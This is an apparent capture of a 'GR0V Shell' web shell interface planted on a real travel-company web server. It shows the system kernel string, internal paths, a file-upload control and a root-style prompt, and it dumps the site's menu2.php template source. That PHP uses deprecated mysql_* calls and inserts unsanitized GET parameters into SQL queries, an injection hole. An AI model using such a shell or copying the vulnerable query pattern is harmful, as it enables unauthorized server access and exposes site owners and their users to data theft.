? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/promice/
File Upload :
Current File : /home/admin/public_html/old/promice/menu2.php

<table width="233" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td><img src="images/bigcorners1.jpg" /></td>
    <td  background="images/bigtops.jpg">&nbsp;</td>
    <td><img src="images/bigcorners2.jpg" width="20" height="21" /></td>
  </tr>
  <tr>
    <td width="12" rowspan="8" background="images/biglefts.jpg">&nbsp;</td>
    <td width="210"><iframe width="210" height="150" src="//www.youtube.com/embed/d_Z6TIvd2Io" frameborder="0" allowfullscreen></iframe></td>
    <td width="11" rowspan="8" background="images/bigrights.jpg">&nbsp;</td>
  </tr>
  <tr>
    <td height="55"><table width="100%" border="0" cellspacing="1" cellpadding="1">
      <tr></tr>
      <tr>
        <td></td>
      </tr>
    </table>
        <img src="images/lefttab.jpg" width="200" height="51" alt="" /></td>
  </tr>
  <tr>
    <td><?
$page = $_GET['page'];
$select_type="select * from article_category  order by id desc";
$query_select=mysql_query($select_type);
$num_rows=mysql_num_rows($query_select);

if($num_rows<1){
echo "<br><br><center><b>ยังไม่มีการเพิ่มข้อมูลค่ะ</b></center>";
}else{
		$select="select * from article_category  order by id desc";
		$q_ry = mysql_query($select);
	 	$num_rows=mysql_num_rows($q_ry);
  		$pagesize=20;
		$rt=$num_rows%$pagesize;
		if($rt!=0)
			{
				$totalpage=floor($num_rows/$pagesize)+1;
			}
		else
			{
				$totalpage=floor($num_rows/$pagesize);
				$toppic_id=1;
			}
		if(empty($page))
			{
				$page=1;
			}
		mysql_free_result($q_ry);
		$goto=($page-1)*$pagesize;
$sql_select_mem="Select * From article_category  order by id desc limit $goto,$pagesize";
		$fect=mysql_query($sql_select_mem);
		if(!$fect)
		{
		("ติดต่อฐานข้อมูลไม่ได้".mysql_error());
		exit;
		}

	  $bgcount=0;
	while($rows=mysql_fetch_array($fect))
	{
$idx =$rows['id'];
$productstypecode  =$rows['id'];
$productstypename = $rows['category_name'];
$bgcount=$bgcount+1;
$bgmod=$bgcount%2;
if($bgmod==0){
	$bgcolor="#E9E9E8";
}else{
	$bgcolor="#FFFFFF";
}

$s_num="select * from article where article_category_id = '$productstypecode'";
$query_select_num=mysql_query($s_num);
$snum=mysql_num_rows($query_select_num);
	?>
        <table width="100%" border="0" cellspacing="1" cellpadding="1">
          <tr>
            <td height="23"><div align="left">&nbsp;<img src="images/bullet.gif" width="5" height="9" /> <? echo "<a href=contentlist.php?PRD=$productstypecode>$productstypename</a> ($snum)"; ?></div></td>
          </tr>
          <tr>
            <td height="5"><img src="images/line2.gif" width="190" height="3" /></td>
          </tr>
        </table>
      <?
}
}
?></td>
  </tr>
  <tr>
    <td><div align="center"><img src="images/lefttab2.jpg" width="200" height="51" alt="" /></div></td>
  </tr>
  <tr>
    <td><?
$pages = $_GET['pages'];
$select_types="select * from article  order by id desc";
$query_selects=mysql_query($select_types);
$num_rowss=mysql_num_rows($query_selects);

if($num_rowss<1){
echo "<br><br><center><b>ยังไม่มีการเพิ่มข้อมูลค่ะ</b></center>";
}else{
		$selects="select * from article order by id desc";
		$q_rys = mysql_query($selects);
	 	$num_rowss=mysql_num_rows($q_rys);
  		$pagesizes=10;
		$rts=$num_rowss%$pagesizes;
		if($rts!=0)
			{
				$totalpages=floor($num_rowss/$pagesizes)+1;
			}
		else
			{
				$totalpages=floor($num_rows/$pagesizes);
				$toppic_ids=1;
			}
		if(empty($pages))
			{
				$pages=1;
			}
		mysql_free_result($q_rys);
		$gotos=($pages-1)*$pagesizes;
$sql_select_mems="Select * From article  order by count desc limit $gotos,$pagesizes";
		$fects=mysql_query($sql_select_mems);
		if(!$fects)
		{
		("µÔ´µèÍ°Ò¹¢éÍÁÙÅäÁèä´é".mysql_error());
		exit;
		}

	  $bgcounts=0;
	while($rowss=mysql_fetch_array($fects))
	{
$idxs =$rowss['id'];
$productsNameShow = substr($rowss['subject'],0,60);
$imagespicture = $rowss['images'];
$stats = $rowss['stats'];
$bgcounts=$bgcounts+1;
$bgmods=$bgcounts%2;
if($bgmods==0){
	$bgcolors="#E9E9E8";
}else{
	$bgcolors="#FFFFFF";
}
	?>
        <table width="100%" border="0" cellspacing="1" cellpadding="1">
          <tr>
            <td height="23"><div align="left"> &nbsp;<img src="images/bullet.gif" width="5" height="9" /> <? echo "<a href=content.php?id=$idxs>$productsNameShow</a>"; ?></div></td>
          </tr>
          <tr>
            <td height="5"><img src="images/line2.gif" width="190" height="3" /></td>
          </tr>
        </table>
      <?
}
}
?></td>
  </tr>
  <tr>
    <td>์ำ์<span class="style1">Newsletter Signup </span></td>
  </tr>
  <tr>
    <td><form action="signup.php" method="post">
      <input type="text" size="25" name="address" />
      <input type="submit" value="Join!" name="submit" />
    </form></td>
  </tr>
  <tr>
    <td height="30" align="center"><table width="200" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td><img src="images/nowissue.jpg" width="200" height="45" /></td>
      </tr>
      <tr>
        <td><a href="http://issuu.com/nopthee/docs/vol3kr" target="_blank"><img src="images/pok3kr.jpg" width="175" height="230" border="0" /></a><a href="http://thebridgesmagazine.com/magazine/vol3th.html" target="_blank"></a></td>
      </tr>
      <tr>
        <td><a href="http://issuu.com/nopthee/docs/vol3th" target="_blank"><img src="images/pok3th.jpg" width="175" height="229" border="0" /></a></td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td><img src="images/bigcorners3.jpg" width="20" height="21" /></td>
    <td height="19"  background="images/bigbuttoms.jpg">&nbsp;</td>
    <td><img src="images/bigcorners4.jpg" width="20" height="21" /></td>
  </tr>
  <tr>
    <td height="19" colspan="3"><div align="center"><a href="http;//www.k-tcc.co.th"><img src="images/ktcc_logo.jpg" width="180" height="75" border="0" /></a><br />
            <a href="http://www.happytokorea.com"><img src="images/happy_logo.jpg" width="180" height="75" border="0" /></a><br />
            <a href="http://happythai.co.kr"><img src="images/happyth_logo.jpg" width="180" height="75" border="0" /></a><br />
            <a href="http://www.promice.co.kr"><img src="images/promice_logo.jpg" width="180" height="75" border="0" /></a></div></td>
  </tr>
  <tr>
    <td height="19" colspan="3"><iframe src="//www.facebook.com/plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FThebridges-Magazine%2F224919057632998&amp;width=230&amp;height=590&amp;show_faces=true&amp;colorscheme=light&amp;stream=true&amp;border_color&amp;header=true" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:230px; height:590px;" allowTransparency="true"></iframe></td>
  </tr>
</table>


T1KUS90T
  root-grov@210.1.60.28:~$